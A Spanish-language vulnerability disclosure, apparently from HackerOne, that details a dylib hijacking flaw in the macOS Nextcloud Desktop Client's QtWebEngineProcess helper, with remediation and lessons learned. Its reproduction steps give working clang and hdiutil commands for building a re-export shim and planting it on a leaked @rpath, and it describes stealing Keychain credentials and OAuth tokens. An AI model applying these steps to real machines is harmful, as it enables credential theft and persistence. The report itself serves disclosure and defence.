Resumen
Un atacante con una cuenta de usuario normal en macOS (sin privilegios de administrador y sin tener que saltarse SIP) podía conseguir que el cliente de escritorio de Nextcloud cargara una librería dinámica suya dentro de QtWebEngineProcess, el subproceso que renderiza el contenido web embebido y los flujos de inicio de sesión OAuth. Una vez dentro de ese proceso, su código se ejecutaba con los permisos del usuario.
El fallo, en Nextcloud Desktop Client 33.0.5, surge de la combinación de dos debilidades en la versión de macOS:
- Entitlement que desactiva la validación de librerías.
QtWebEngineProcessse firma concom.apple.security.cs.disable-library-validation. Esa entitlement desactiva la Library Validation de Apple, que normalmente rechaza cualquier dylib cuya firma no coincida con el Team ID del desarrollador. Además, el proceso corre sin App Sandbox, por lo que tiene acceso completo a nivel de usuario (directorio personal, llavero, sistema de ficheros). - Una ruta de servidor de compilación "muerta" dentro del
@rpath. El mismo binario lleva embebida la ruta local del servidor donde se compiló (/Volumes/builds/39648/...) y dyld la busca antes que el directorio real de frameworks de la aplicación. En macOS cualquier usuario puede montar una imagen de disco en/Volumes/sin ser administrador, conhdiutil attach.
Juntando ambas cosas: se monta una imagen de disco en /Volumes/builds, se coloca una dylib maliciosa en la ruta exacta que dyld busca primero y, al arrancar QtWebEngineProcess, dyld encuentra esa dylib antes que la legítima y la carga sin comprobar la firma.
El binario principal de Nextcloud, en cambio, sí está bien endurecido: tiene App Sandbox y conserva la validación de librerías. El problema está únicamente en el helper de Qt WebEngine.
Componente afectado
Binario: Nextcloud.app/Contents/Frameworks/QtWebEngineCore.framework/
Versions/A/Helpers/QtWebEngineProcess.app/Contents/MacOS/QtWebEngineProcess
Versión: Nextcloud Desktop Client 33.0.5 (macOS, binario universal x86_64 + arm64)
Team ID: NKUJUXUJ3B
Las entitlements del proceso se pueden comprobar así:
codesign -d --entitlements :- \
/Applications/Nextcloud.app/Contents/Frameworks/QtWebEngineCore.framework/Versions/A/Helpers/QtWebEngineProcess.app/Contents/MacOS/QtWebEngineProcess
<key>com.apple.security.cs.disable-library-validation</key><true/>
<key>com.apple.security.cs.allow-jit</key><true/>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key><true/>
<key>com.apple.security.cs.disable-executable-page-protection</key><true/>
QtWebEngineProcess tiene Hardened Runtime activado (flags=0x10000), que normalmente obligaría a validar las librerías, pero disable-library-validation lo anula de forma explícita. No tiene entitlement de App Sandbox.
El orden de búsqueda de @rpath deja a la vista la ruta de compilación filtrada:
# Extraer el slice arm64 y listar los rpath en orden
lipo -extract arm64 QtWebEngineProcess -output /tmp/qtwe_arm64
otool -l /tmp/qtwe_arm64 | grep -A3 LC_RPATH | grep "path "
1. /Volumes/builds/39648/macos-39648-build/arm64/macos-clang-arm64/lib <- SE BUSCA PRIMERO
2. @loader_path/../../../../../../../ -> .../Nextcloud.app/Contents/Frameworks
3. @loader_path/../../../../lib -> dentro del bundle de la app
Pasos de reproducción
Entorno: macOS 14 o 15, Nextcloud Desktop Client 33.0.5 instalado, usuario estándar (sin admin).
**1. Construir la dylib de prueba como re-export shim.** La librería tiene que reexportar todos los símbolos reales de QtWebEngineCore hacia la librería legítima, a la vez que inyecta un constructor. Una dylib normal, sin reexportación, falla al resolver símbolos antes de que el constructor llegue a ejecutarse. El constructor de la prueba de concepto se limitaba a dejar constancia de la ejecución (escribir un fichero y una entrada en syslog); el investigador demostró además que desde ese mismo contexto se podían leer las credenciales de Nextcloud del llavero y abrir una aplicación como confirmación visual.
REAL="/Applications/Nextcloud.app/Contents/Frameworks/QtWebEngineCore.framework/Versions/A/QtWebEngineCore"
FWDIR="/Applications/Nextcloud.app/Contents/Frameworks"
clang -dynamiclib -arch arm64 \
-install_name "nc_inject.dylib" \
-Wl,-reexport_library,"$REAL" \
-Wl,-rpath,"$FWDIR" \
-o /tmp/nc_payload.dylib \
payload.c
# No hace falta firmar: disable-library-validation se salta la comprobación del Team ID
2. Montar una imagen de disco en la ruta muerta del @rpath (no requiere administrador):
hdiutil create -size 50m -fs HFS+ -volname "builds" /tmp/exploit.dmg
hdiutil attach /tmp/exploit.dmg
# macOS la monta automáticamente en /Volumes/builds
3. Colocar la dylib en la ruta exacta que busca dyld, replicando la estructura QtWebEngineCore.framework/Versions/A/ dentro de /Volumes/builds/39648/macos-39648-build/<arch>/.../lib/ (hay una ruta para arm64 y otra para x86_64).
4. Disparar QtWebEngineProcess. La opción directa funciona en cualquier versión de macOS:
/Applications/Nextcloud.app/Contents/Frameworks/QtWebEngineCore.framework/Versions/A/Helpers/QtWebEngineProcess.app/Contents/MacOS/QtWebEngineProcess &
Alternativamente, en macOS 14, abriendo Nextcloud e iniciando sesión contra un servidor antiguo (≤15) que use el inicio de sesión web embebido, la propia app lanza QtWebEngineProcess para renderizar la página de login.
Al arrancar, dyld resuelve @rpath/QtWebEngineCore.framework/Versions/A/QtWebEngineCore, encuentra primero la copia plantada en /Volumes/builds/..., se salta la comprobación de firma por disable-library-validation y el constructor de la dylib se ejecuta antes que main().
5. Verificar leyendo el fichero de prueba que deja el constructor (/tmp/nc_injection_proof.txt), donde aparecen el nombre del proceso, el PID y el UID del usuario.
Impacto
Un atacante que ya ejecute código como el mismo usuario de macOS podía, de forma silenciosa y sin ningún aviso de permisos ni privilegios de administrador:
- Robar credenciales: el código corre dentro del proceso que gestiona el login OAuth y el contenido web embebido, así que puede interceptar credenciales según se teclean, leer las contraseñas de Nextcloud guardadas en el llavero (misma sesión de usuario, sin diálogo) y capturar tokens OAuth en tránsito.
- Acceder a ficheros: al no haber App Sandbox, lectura y escritura completas sobre
~/Library/Application Support/Nextcloud/(base de datos de sincronización, configuración de cuentas, material de claves de cifrado extremo a extremo) y sobre todos los ficheros sincronizados. - Persistir: instalar un LaunchAgent, alterar la configuración de sincronización o colar ficheros maliciosos en la carpeta sincronizada para propagarlos del lado del servidor.
La gravedad asignada en HackerOne fue baja, acorde con el requisito de ejecución local previa y con el mismo usuario; aun así, el impacto una vez dentro del proceso es considerable.
Remediación
El reporte fue marcado como resuelto por el programa de Nextcloud. Las dos piezas del problema apuntan a la corrección: retirar la entitlement com.apple.security.cs.disable-library-validation del helper de Qt WebEngine (para que vuelva a aplicarse la validación de librerías) y eliminar del binario las rutas de servidor de compilación (/Volumes/builds/...) que se filtraron en el @rpath y que dyld buscaba antes que el directorio real de la aplicación.
Qué aprender de este caso
- En apps de macOS con Hardened Runtime, revisa con
codesign -d --entitlements :-cada binario helper, no solo el principal: una entitlement comodisable-library-validationoallow-dyld-environment-variablesen un subproceso anula la validación de firmas justo donde menos se mira. - Audita el orden de los
LC_RPATHconotool -l: una ruta absoluta de servidor de compilación (/Volumes/...,/builds/...) filtrada al binario de producción y situada antes que las rutas@loader_pathes un vector de secuestro, porque un usuario sin admin puede montar ahí una imagen conhdiutil attach. - El helper que renderiza web y flujos OAuth es un objetivo valioso: si corre sin App Sandbox, cualquier código inyectado en él hereda acceso al llavero y a los ficheros sincronizados. Conviene que esos subprocesos estén tan restringidos como el binario principal, o más.
- Para reproducir una carga de dylib que sustituye a una librería real sin romper la app, hace falta un re-export shim (
-Wl,-reexport_library): si al probar un secuestro la víctima falla por símbolos sin resolver, suele ser que falta la reexportación, no que la ruta esté mal.